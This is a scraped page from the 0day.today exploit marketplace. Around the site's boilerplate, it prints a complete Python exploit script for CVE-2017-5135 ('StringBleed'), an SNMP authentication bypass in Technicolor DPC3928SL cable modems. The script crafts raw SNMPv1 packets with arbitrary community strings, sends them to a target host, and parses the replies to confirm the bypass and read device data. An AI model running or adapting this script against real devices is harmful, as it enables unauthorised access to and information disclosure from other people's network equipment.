0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Technicolor DPC3928SL - SNMP Authentication Bypass Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
#!/usr/bin/python # -*- coding: utf-8 -*- # StringBleed - CVE-2017-5135 __author__ = ["Nixawk"] __funcs__ = [ 'generate_snmp_communitystr', 'generate_snmp_proto_payload', 'send_snmp_request', 'read_snmp_communitystr', 'read_snmp_varbindstr', 'snmp_login', 'snmp_stringbleed' ] import struct import uuid import socket import time import logging import contextlib logging.basicConfig(level=logging.INFO) log = logging.getLogger(__file__) def generate_snmp_communitystr(): return str(uuid.uuid4()) def generate_snmp_proto_payload(community): """Generate snmp request with [SNMPv1] and [OID: 1.3.6.1.2.1.1.1.0] For example, suppose one wanted to identify an instance of the variable sysDescr The object class for sysDescr is: iso org dod internet mgmt mib system sysDescr 1 3 6 1 2 1 1 1 """ # SNMPv1 specifies five core protocol data units (PDUs). # All SNMP PDUs are constructed as follows: # --------------------- # | IP header | # --------------------- # | UDP header | # --------------------- -------| # | version | | # | community | | # | PDU-type | | # | request-id | |---- SNMP # | error-status | | # | error-index | | # | variable bindings | | # --------------------- -------| # # The seven SNMP protocol data unit (PDU) types are as follows: # GetRequest # SetRequest # GetNextRequest # GetBulkRequest # Response # Trap # InformRequest # SNMPv1 Message Header # SNMPv1 Trap Message Hander # https://tools.ietf.org/html/rfc1592 # +-----------------------------------------------------------------+ # | Table 1 (Page 1 of 2). SNMP GET PDU for dpiPortForTCP.0 | # +---------------+----------------+--------------------------------+ # | OFFSET | VALUE | FIELD | # +---------------+----------------+--------------------------------+ # | 0 | 0x30 | ASN.1 header | # +---------------+----------------+--------------------------------+ # | 1 | 37 + len | PDU_length, see formula below | # +---------------+----------------+--------------------------------+ # | 2 | 0x02 0x01 0x00 | SNMP version: | # | | | (integer,length=1,value=0) | # +---------------+----------------+--------------------------------+ # | 5 | 0x04 | community name (string) | # +---------------+----------------+--------------------------------+ # | 6 | len | length of community name | # +---------------+----------------+--------------------------------+ # | 7 | community name | varies | # +---------------+----------------+--------------------------------+ # | 7 + len | 0xa0 0x1c | SNMP GET request: | # | | | request_type=0xa0,length=0x1c | # +---------------+----------------+--------------------------------+ # | 7 + len + 2 | 0x02 0x01 0x01 | SNMP request ID: | # | | | integer,length=1,ID=1 | # +---------------+----------------+--------------------------------+ # | 7 + len + 5 | 0x02 0x01 0x00 | SNMP error status: | # | | | integer,length=1,error=0 | # +---------------+----------------+--------------------------------+ # | 7 + len + 8 | 0x02 0x01 0x00 | SNMP index: | # | | | integer,length=1,index=0 | # +---------------+----------------+--------------------------------+ # | 7 + len + 11 | 0x30 0x11 | varBind list, length=0x11 | # +---------------+----------------+--------------------------------+ # | 7 + len + 13 | 0x30 0x0f | varBind, length=0x0f | # +---------------+----------------+--------------------------------+ # | 7 + len + 15 | 0x06 0x0b | Object ID, length=0x0b | # +---------------+----------------+--------------------------------+ # | 7 + len + 17 | 0x2b 0x06 0x01 | Object-ID: | # | | 0x04 0x01 0x02 | 1.3.6.1.4.1.2.2.1.1.1 | # | | 0x02 0x01 0x01 | Object-instance: 0 | # | | 0x01 0x00 | | # +---------------+----------------+--------------------------------+ # | 7 + len + 28 | 0x05 0x00 | null value, length=0 | # +---------------+----------------+--------------------------------+ # | NOTE: Formula to calculate "PDU_length": | # | | # | PDU_length = length of version field and string tag (4 bytes)| # | + length of community length field (1 byte) | # | + length of community name (depends...) | # | + length of SNMP GET request (32 bytes) | # | | # | = 37 + length of community name | # +-----------------------------------------------------------------+ snmp_GetNextRequest = [ b"\x30", # ASN.1 Header b"\x29", # PDU length b"\x02\x01\x00", # SNMP Version b"\x04", # Community Name (string) chr(len(community)), # Community Length community, # Community String b"\xa1\x19", # PDU Type - GetNextRequest b"\x02\x04", struct.pack("<i", int(time.time())), # Request ID b"\x02\x01\x00", # Error Status (Type) b"\x02\x01\x00", # Error Index b"\x30", # Variable Type (Sequence) b"\x0b", # Length b"\x30", # Variable Type (Sequence) b"\x09", # Length b"\x06", # Variable Type (OID) b"\x05", # Length b"\x2b\x06\x01\x02\x01", # Value b"\x05\x00" # NULL ] pkt = "".join(snmp_GetNextRequest) com_length = chr(len(community)) pdu_length = chr(len(pkt) - 2) # community length cost 1 bytes (default) if com_length > '\x7f': com_length = '\x81' + com_length pdu_length = chr(len(pkt) - 1) # community length cost 2 bytes if pdu_length > '\x7f': pdu_length = '\x81' + pdu_length snmp_GetNextRequest[1] = pdu_length snmp_GetNextRequest[4] = com_length pkt = b"".join(snmp_GetNextRequest) return pkt def send_snmp_request(host, port, community, timeout=6.0): """Send snmp request based on UDP. """ data = '' try: with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_DGRAM)) as client: snmp_raw = generate_snmp_proto_payload(community) client.settimeout(timeout) client.sendto(snmp_raw, (host, port)) data, _ = client.recvfrom(2014) except Exception as err: log.error("{} : {} - {}".format(host, port, err)) return data def read_snmp_communitystr(snmp_response): """Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157) """ community_str = '' if not snmp_response: return community_str pdu_length = snmp_response[1] # "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01" if ord(pdu_length) > 0x7f: offset = 8 # "\x30\x81\xea\x02\x01\x00\x04\x24" else: offset = 7 # "\x30\x26\x02\x01\x00\x04\x06" community_length = snmp_response[offset - 1] community_str = snmp_response[offset: offset +ord(community_length)] return community_str def read_snmp_varbindstr(snmp_response): """Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157) """ variable_binding_string = '' if not snmp_response: return variable_binding_string pdu_length = snmp_response[1] # "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01" if ord(pdu_length) > 0x7f: offset = 8 # "\x30\x81\xea\x02\x01\x00\x04\x24" else: offset = 7 # "\x30\x26\x02\x01\x00\x04\x06" community_length = snmp_response[offset - 1] pdu_data_offset = offset + ord(community_length) pdu_data = snmp_response[pdu_data_offset:] # 8 = first snmp 8 bytes last_pdu = pdu_data.split("\x00")[-1] # if data > 127 (0x7f), variable-bindings length: 3 bytes # if data < 127 (0x7f), variable-bindings length: 2 bytes last_pdu_length = ord(last_pdu[1]) if last_pdu_length > 0x7f: variable_binding_string = last_pdu[3:] else: variable_binding_string = last_pdu[2:] return variable_binding_string def snmp_login(host, port, community): """login snmp service with SNMPv1 community string. """ login_status = False try: resp_community = read_snmp_communitystr( send_snmp_request(host, int(port), community) ) if (resp_community == community): login_status = True except Exception as err: log.error(err) return login_status def snmp_stringbleed(host, port, community): """Test againsts Snmp StringBleed CVE-2017-5135. """ stringbleed_status = False try: resp_varbindstr = read_snmp_varbindstr( send_snmp_request(host, int(port), community) ) if resp_varbindstr: stringbleed_status = True except Exception as err: log.error(err) return stringbleed_status if __name__ == '__main__': import sys if len(sys.argv) != 4: log.info("Usage python {} <snmp-host> <snmp-port> <snmp-community-str>".format(sys.argv[0])) sys.exit(1) host = sys.argv[1] port = sys.argv[2] community = sys.argv[3] if snmp_login(host, int(port), community): log.info("{}:{} - [{}] snmp login successfully.".format(host, port, community)) else: log.info("{}:{} - [{}] snmp login failed.".format(host, port, community)) if snmp_stringbleed(host, int(port), community): log.info("{}:{} - [{}] snmp StringBleed successfully.".format(host, port, community)) else: log.info("{}:{} - [{}] snmp StringBleed failed.".format(host, port, community)) ## References # https://tools.ietf.org/html/rfc1157 # http://stackoverflow.com/questions/22998212/decode-snmp-pdus-where-to-start # http://www.net-snmp.org/ # https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol # https://wiki.wireshark.org/SNMP # https://msdn.microsoft.com/en-us/library/windows/desktop/bb648643(v=vs.85).aspx # http://cs.uccs.edu/~cs522/studentproj/projF2004/jrreese/doc/SNMP.doc # https://github.com/exhuma/puresnmp/blob/be1267bb792be0a5bdf57b0748354d2d3c7f9fb0/puresnmp/pdu.py # 0day.today [2024-11-15] #